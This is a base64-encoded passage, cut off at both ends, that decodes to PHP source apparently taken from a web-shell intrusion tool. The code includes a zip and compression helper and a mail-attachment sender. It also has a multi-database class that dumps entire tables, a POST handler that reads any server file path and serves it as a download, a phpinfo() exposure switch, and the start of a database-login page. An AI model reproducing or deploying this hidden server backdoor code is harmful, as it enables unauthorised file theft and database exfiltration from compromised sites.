ZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwogICAgICAgIHJldHVybgogICAgICAgICAgICAkZGF0YSAuCiAgICAgICAgICAgICRjdHJsZGlyIC4KICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4KICAgICAgICAgICAgIlx4MDBceDAwIjsKICAgIH0KfQpmdW5jdGlvbiBjb21wcmVzcygmJGZpbGVuYW1lLCYkZmlsZWR1bXAsJGNvbXByZXNzKQogewogICAgZ2xvYmFsICRjb250ZW50X2VuY29kaW5nOwogICAgZ2xvYmFsICRtaW1lX3R5cGU7CiAgICBpZiAoJGNvbXByZXNzID09ICdiemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpCiAgICAgewogICAgICAgICRmaWxlbmFtZSAgLj0gJy5iejInOwogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1iemlwMic7CiAgICAgICAgJGZpbGVkdW1wID0gYnpjb21wcmVzcygkZmlsZWR1bXApOwogICAgIH0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ2d6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpCiAgICAgewogICAgICAgICRmaWxlbmFtZSAgLj0gJy5neic7CiAgICAgICAgJGNvbnRlbnRfZW5jb2RpbmcgPSAneC1nemlwJzsKICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtZ3ppcCc7CiAgICAgICAgJGZpbGVkdW1wID0gZ3plbmNvZGUoJGZpbGVkdW1wKTsKICAgICB9CiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICd6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkKICAgICB7CiAgICAgICAgICAgICAkZmlsZW5hbWUgLj0gJy56aXAnOwogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vemlwJzsKICAgICAgICAkemlwZmlsZSA9IG5ldyB6aXBmaWxlKCk7CiAgICAgICAgJHppcGZpbGUgLT4gYWRkRmlsZSgkZmlsZWR1bXAsIHN1YnN0cigkZmlsZW5hbWUsIDAsIC00KSk7CiAgICAgICAgJGZpbGVkdW1wID0gJHppcGZpbGUgLT4gZmlsZSgpOwogICAgIH0KICAgICBlbHNlCiAgICAgewogICAgICAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOwogICAgIH0KIH0KZnVuY3Rpb24gbWFpbGF0dGFjaCgkdG8sJGZyb20sJHN1YmosJGF0dGFjaCkKIHsKICRoZWFkZXJzICA9ICJGcm9tOiAkZnJvbVxyXG4iOwogJGhlYWRlcnMgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7CiAkaGVhZGVycyAuPSAiQ29udGVudC1UeXBlOiAiLiRhdHRhY2hbJ3R5cGUnXTsKICRoZWFkZXJzIC49ICI7IG5hbWU9XCIiLiRhdHRhY2hbJ25hbWUnXS4iXCJcclxuIjsKICRoZWFkZXJzIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuXHJcbiI7CiAkaGVhZGVycyAuPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRhdHRhY2hbJ2NvbnRlbnQnXSkpLiJcclxuIjsKIGlmKEBtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHsgcmV0dXJuIDE7IH0KIHJldHVybiAwOwogfQpjbGFzcyBteV9zcWwKIHsKIHZhciAkaG9zdCA9ICdsb2NhbGhvc3QnOwogdmFyICRwb3J0ID0gJyc7CiB2YXIgJHVzZXIgPSAnJzsKIHZhciAkcGFzcyA9ICcnOwogdmFyICRiYXNlID0gJyc7CiB2YXIgJGRiICAgPSAnJzsKIHZhciAkY29ubmVjdGlvbjsKIHZhciAkcmVzOwogdmFyICRlcnJvcjsKIHZhciAkcm93czsKIHZhciAkY29sdW1uczsKIHZhciAkbnVtX3Jvd3M7CiB2YXIgJG51bV9maWVsZHM7CiB2YXIgJGR1bXA7CgogZnVuY3Rpb24gY29ubmVjdCgpCiAgewogICAgICAgICAgc3dpdGNoKCR0aGlzLT5kYikKICAgICB7CiAgICAgICAgICAgY2FzZSAnTXlTUUwnOgogICAgICAgICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsKICAgICAgICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOwogICAgICAgICAgICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOwogICAgICAgICAgIGJyZWFrOwogICAgIGNhc2UgJ01TU1FMJzoKICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzE0MzMnOyB9CiAgICAgICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7CiAgICAgICAgICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsKICAgICAgaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOwogICAgIGJyZWFrOwogICAgIGNhc2UgJ1Bvc3RncmVTUUwnOgogICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnNTQzMic7IH0KICAgICAgJHN0ciA9ICJob3N0PSciLiR0aGlzLT5ob3N0LiInIHBvcnQ9JyIuJHRoaXMtPnBvcnQuIicgdXNlcj0nIi4kdGhpcy0+dXNlci4iJyBwYXNzd29yZD0nIi4kdGhpcy0+cGFzcy4iJyBkYm5hbWU9JyIuJHRoaXMtPmJhc2UuIiciOwogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOwogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOwogICAgICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOwogICAgIGJyZWFrOwogICAgIGNhc2UgJ09yYWNsZSc6CiAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHJldHVybiAwOwogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0aGlzLT5iYXNlKTsKICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsKICAgICBicmVhazsKICAgICB9CiAgICByZXR1cm4gMDsKICB9CgogZnVuY3Rpb24gc2VsZWN0X2RiKCkKICB7CiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgICAgICAgICBjYXNlICdNeVNRTCc6CiAgICAgICAgICAgaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOwogICAgYnJlYWs7CiAgICBjYXNlICdNU1NRTCc6CiAgICAgICAgICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOwogICAgYnJlYWs7CiAgICBjYXNlICdQb3N0Z3JlU1FMJzoKICAgICByZXR1cm4gMTsKICAgIGJyZWFrOwogICAgY2FzZSAnT3JhY2xlJzoKICAgICByZXR1cm4gMTsKICAgIGJyZWFrOwogICAgfQogICByZXR1cm4gMDsKICB9CgogZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KQogIHsKICAgJHRoaXMtPnJlcz0kdGhpcy0+ZXJyb3I9Jyc7CiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgICAgICAgICBjYXNlICdNeVNRTCc6CiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXlzcWxfcXVlcnkoJy8qJy5jaHIoMCkuJyovJy4kcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkKICAgICAgewogICAgICAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOwogICAgICByZXR1cm4gMDsKICAgICAgfQogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0KICAgICByZXR1cm4gMjsKICAgICAgICAgIGJyZWFrOwogICAgY2FzZSAnTVNTUUwnOgogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQogICAgICB7CiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBlcnJvcic7CiAgICAgIHJldHVybiAwOwogICAgICB9CiAgICAgIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQogICAgIHJldHVybiAyOwogICAgYnJlYWs7CiAgICBjYXNlICdQb3N0Z3JlU1FMJzoKICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkKICAgICAgewogICAgICAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7CiAgICAgIHJldHVybiAwOwogICAgICB9CiAgICAgIGVsc2UgaWYoQHBnX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQogICAgIHJldHVybiAyOwogICAgYnJlYWs7CiAgICBjYXNlICdPcmFjbGUnOgogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKQogICAgICB7CiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7CiAgICAgIH0KICAgICBlbHNlCiAgICAgIHsKICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpCiAgICAgICB7CiAgICAgICBpZihAb2Npcm93Y291bnQoJHRoaXMtPnJlcykgIT0gMCkgcmV0dXJuIDI7CiAgICAgICByZXR1cm4gMTsKICAgICAgIH0KICAgICAgJGVycm9yID0gQG9jaWVycm9yKCk7CiAgICAgICR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsKICAgICAgfQogICAgYnJlYWs7CiAgICB9CiAgcmV0dXJuIDA7CiAgfQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpCiAgewogICAkdGhpcy0+cm93cz1hcnJheSgpOwogICAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOwogICAkdGhpcy0+bnVtX3Jvd3M9JHRoaXMtPm51bV9maWVsZHM9MDsKICAgc3dpdGNoKCR0aGlzLT5kYikKICAgIHsKICAgICAgICAgIGNhc2UgJ015U1FMJzoKICAgICAgICAgICAkdGhpcy0+bnVtX3Jvd3M9QG15c3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOwogICAgICAgICAgICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOwogICAgICAgICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBteXNxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOwogICAgICAgICAgIEBteXNxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsKICAgICAgICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9CiAgICBicmVhazsKICAgIGNhc2UgJ01TU1FMJzoKICAgICAgICAgICAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOwogICAgICAgICAgICR0aGlzLT5udW1fZmllbGRzPUBtc3NxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOwogICAgICAgICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOwogICAgICAgICAgIEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsKICAgICAgICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9OwogICAgYnJlYWs7CiAgICBjYXNlICdQb3N0Z3JlU1FMJzoKICAgICAgICAgICAkdGhpcy0+bnVtX3Jvd3M9QHBnX251bV9yb3dzKCR0aGlzLT5yZXMpOwogICAgICAgICAgICR0aGlzLT5udW1fZmllbGRzPUBwZ19udW1fZmllbGRzKCR0aGlzLT5yZXMpOwogICAgICAgICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBwZ19mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOwogICAgICAgICAgIEBwZ19mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsKICAgICAgICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9CiAgICBicmVhazsKICAgIGNhc2UgJ09yYWNsZSc6CiAgICAgJHRoaXMtPm51bV9maWVsZHM9QG9jaW51bWNvbHMoJHRoaXMtPnJlcyk7CiAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOwogICAgIEBvY2lmcmVlc3RhdGVtZW50KCR0aGlzLT5yZXMpOwogICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30KICAgIGJyZWFrOwogICAgfQogICByZXR1cm4gMDsKICB9CiBmdW5jdGlvbiBkdW1wKCR0YWJsZSkKICB7CiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOwogICAkdGhpcy0+ZHVtcD1hcnJheSgpOwogICAkdGhpcy0+ZHVtcFswXSA9ICcjIyc7CiAgICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOwogICAkdGhpcy0+ZHVtcFsyXSA9ICcjIyAgQ3JlYXRlZDogJy5kYXRlICgiZC9tL1kgSDppOnMiKTsKICAgJHRoaXMtPmR1bXBbM10gPSAnIyMgRGF0YWJhc2U6ICcuJHRoaXMtPmJhc2U7CiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsKICAgJHRoaXMtPmR1bXBbNV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7CiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgICAgICAgICBjYXNlICdNeVNRTCc6CiAgICAgICAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgTXlTUUwgZHVtcCc7CiAgICAgICAgICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7CiAgICAgICAgICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOwogICAgICAgICAgICR0aGlzLT5kdW1wW10gPSAkdGhpcy0+cm93c1swXVsnQ3JlYXRlIFRhYmxlJ107CiAgICAgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsKICAgICAgICAgICBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOwogICAgICAgICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgICAgICAgICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykKICAgICAgICAgICAgewogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdik7fQogICAgICAgICAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoYCcuQGltcGxvZGUoImAsIGAiLCAkdGhpcy0+Y29sdW1ucykuJ2ApIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7CiAgICAgICAgICAgIH0KICAgIGJyZWFrOwogICAgY2FzZSAnTVNTUUwnOgogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIE1TU1FMIGR1bXAnOwogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOwogICAgICAgICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsKICAgICAgICAgICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykKICAgICAgICAgICAgewogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30KICAgICAgICAgICAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOwogICAgICAgICAgICB9CiAgICBicmVhazsKICAgIGNhc2UgJ1Bvc3RncmVTUUwnOgogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7CiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7CiAgICAgICAgICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOwogICAgICAgICAgIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKQogICAgICAgICAgICB7CiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAYWRkc2xhc2hlcygkdik7fQogICAgICAgICAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7CiAgICAgICAgICAgIH0KICAgIGJyZWFrOwogICAgY2FzZSAnT3JhY2xlJzoKICAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgT1JBQ0xFIGR1bXAnOwogICAgICAkdGhpcy0+ZHVtcFtdICA9ICcjIyB1bmRlciBjb25zdHJ1Y3Rpb24nOwogICAgYnJlYWs7CiAgICBkZWZhdWx0OgogICAgIHJldHVybiAwOwogICAgYnJlYWs7CiAgICB9CiAgIHJldHVybiAxOwogIH0KIGZ1bmN0aW9uIGNsb3NlKCkKICB7CiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgICAgICAgICBjYXNlICdNeVNRTCc6CiAgICAgICAgICAgQG15c3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsKICAgIGJyZWFrOwogICAgY2FzZSAnTVNTUUwnOgogICAgIEBtc3NxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7CiAgICBicmVhazsKICAgIGNhc2UgJ1Bvc3RncmVTUUwnOgogICAgIEBwZ19jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7CiAgICBicmVhazsKICAgIGNhc2UgJ09yYWNsZSc6CiAgICAgQG9jaV9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7CiAgICBicmVhazsKICAgIH0KICB9CiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkKICB7CiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgICAgICAgICBjYXNlICdNeVNRTCc6CiAgICAgICAgICAgcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOwogICAgYnJlYWs7CiAgICBjYXNlICdNU1NRTCc6CiAgICAgcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOwogICAgYnJlYWs7CiAgICBjYXNlICdQb3N0Z3JlU1FMJzoKICAgICByZXR1cm4gQHBnX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7CiAgICBicmVhazsKICAgIGNhc2UgJ09yYWNsZSc6CiAgICAgcmV0dXJuIEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKTsKICAgIGJyZWFrOwogICAgZGVmYXVsdDoKICAgICByZXR1cm4gMDsKICAgIGJyZWFrOwogICAgfQogIH0KIH0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkb3dubG9hZF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydkX25hbWUnXSkpCiB7CiAgaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2RfbmFtZSddLCJyIikpIHsgZXJyKDEsJF9QT1NUWydkX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0KICBlbHNlCiAgIHsKICAgIEBvYl9jbGVhbigpOwogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnZF9uYW1lJ10pOwogICAgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2RfbmFtZSddKSk7CiAgICBmY2xvc2UoJGZpbGUpOwogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsKICAgIGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsKICAgIGlmICghZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKSB7IGhlYWRlcignQ29udGVudC1FbmNvZGluZzogJyAuICRjb250ZW50X2VuY29kaW5nKTsgfQogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7CiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZmlsZW5hbWUuIlwiOyIpOwogICAgZWNobyAkZmlsZWR1bXA7CiAgICBleGl0KCk7CiAgIH0KIH0KCmlmKGlzc2V0KCRfR0VUWydwaHBpbmZvJ10pKSB7IGVjaG8gQHBocGluZm8oKTsgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsgfQppZihpc3NldCgkX0dFVFsnc3FsbWFuJ10pKSB7CnNlc3Npb25fc3RhcnQoKTsKJGFjdGlvbiA9ICRIVFRQX0dFVF9WQVJTWydhY3Rpb24nXTsKJHBhZ2VtYXg9MjA7IC8vIE1heGltdW0gcm93cyBkaXNwbGFlZCBwZXIgcGFnZSwgY2hhbmdlIHRvIGRpc3BsYXkgbW9yZSBvciBsZXNzIHJvd3MgcGVyIHBhZ2UuCmZ1bmN0aW9uIHNob3dfbG9naW4oJGRibmFtZWFycmF5KXsKICAgICAkaG9zdGRlZmF1bHQ9ImxvY2FsaG9zdCI7CiAgICAgICAgICAgICAgICBlY2hvIjx0YWJsZT4iOwogICAgICAgICAgICAgICAgZWNobyI8Zm9ybSAgbmFtZT0nc2hvd2xvZ2luJyBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nJGFjdGlvbic+IjsKICAgICAgICBpZihjb3VudCgkaG9zdGRlZmF1bHQpID4gMSl7CiAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD4/Pz8gQz8/Pz8/Pz86PC90ZD48dGQ+PHNlbGVjdCBuYW1lPWhvc3Q+IjsKICAgICAgICAgICAgZm9yKCR4PTA7ICR4IDwgY291bnQoJGhvc3RkZWZhdWx0KTskeCsrKXsKICAgICAgICAgICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0kaG9zdGRlZmF1bHRbJHhdPiRob3N0ZGVmYXVsdFskeF0iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8iPC9zZWxlY3Q+PC90ZD48L3RyPlxuIjsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgZWNobyI8dHI+PHRkPlNlcnZlciBEYXRhYmFzZXM6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdob3N0JyBzaXplPTE1IHZhbHVlPSRob3N0ZGVmYXVsdCAvPjwvdGQ+PC90cj5cbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgZWNobyI8dHI+PHRkPlVzZXJuYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT0ndXNlcmlkJyBzaXplPTE1IC8+PC90ZD48L3RyPlxuIjsKICAgICAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD5QYXNzd29yZDo8L3RkPjx0ZD48aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPSdwd29yZDEnIHNpemU9MTUgLz48L3RkPjwvdHI+XG4iOwoKICAgICAgICAgICAgICAgIElmKCRkYm5hbWVhcnJheSAhPSAiIil7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD4/Qz9JRSBDP0U/Qz9DRTo8L3RkPjx0ZD48c2VsZWN0IG5hbWU9J2RibmEnPlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9MDsgJGkgPCBjb3VudCgkZGJuYW1lYXJyYXkpOyAkaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRibj0kZGJuYW1lYXJyYXlbJGldOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8iPG9wdGlvbiB2YWx1ZT0kZGJuPiRkYm4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvIjx0cj48dGQ+PGlucHV0IGNsYXNzPXNlciB0eXBlPSdzdWJtaXQnIG5hbWU9J2xvZ2luJyB2YWx1ZT0nbG9naW4nIC8+PC90ZD5cbiI7CiAgICAgICAgICAgICAgICBlY2hvIjx0ZD48aW5wdXQgY2xhc3M9c2VyIHR5cGU9cmVzZXQgbmFtZT0ncmVzZXQnIHZhbHVlPSdDbGVhcicgLz48L3RkPjwvdHI+XG4iOwogICAgICAgICAgICAgICAgZWNobyI8L2Zvcm0+PC90YWJsZT5cbiI7Cgp9CgpmdW5jdGlvbiBkYnJlc3RyaWN0KCl7CmlmKGlzc2V0KCRfU0VTU0lPTlsndXNlciddKSl7CiAgICAkdXNlcj0kX1NFU1NJT05bJ3VzZXInXTsKCiAgICBzd2l0Y2goJHVzZXIpewoKICAgIC8vRWRpdCB0aGVzZSAqKiB2YWx1ZXMuIFlvdSBjYW4gYWRkIG1vcmUgY2FzZSBzdGF0ZW1lbnRzLgogICAgICAgIGNhc2UgJyoqVXNlcioqJzoKICAgICAgICAgICAgJGRibmFtZWFycmF5PSBhcnJheSgnKipkYm5hbWUqKicsICcqKmRibmFtZTIqKicsICcqKmRibmFtZSoqJyk7CiAgICAgICAgICAgIGJyZWFrOwogICAgIC8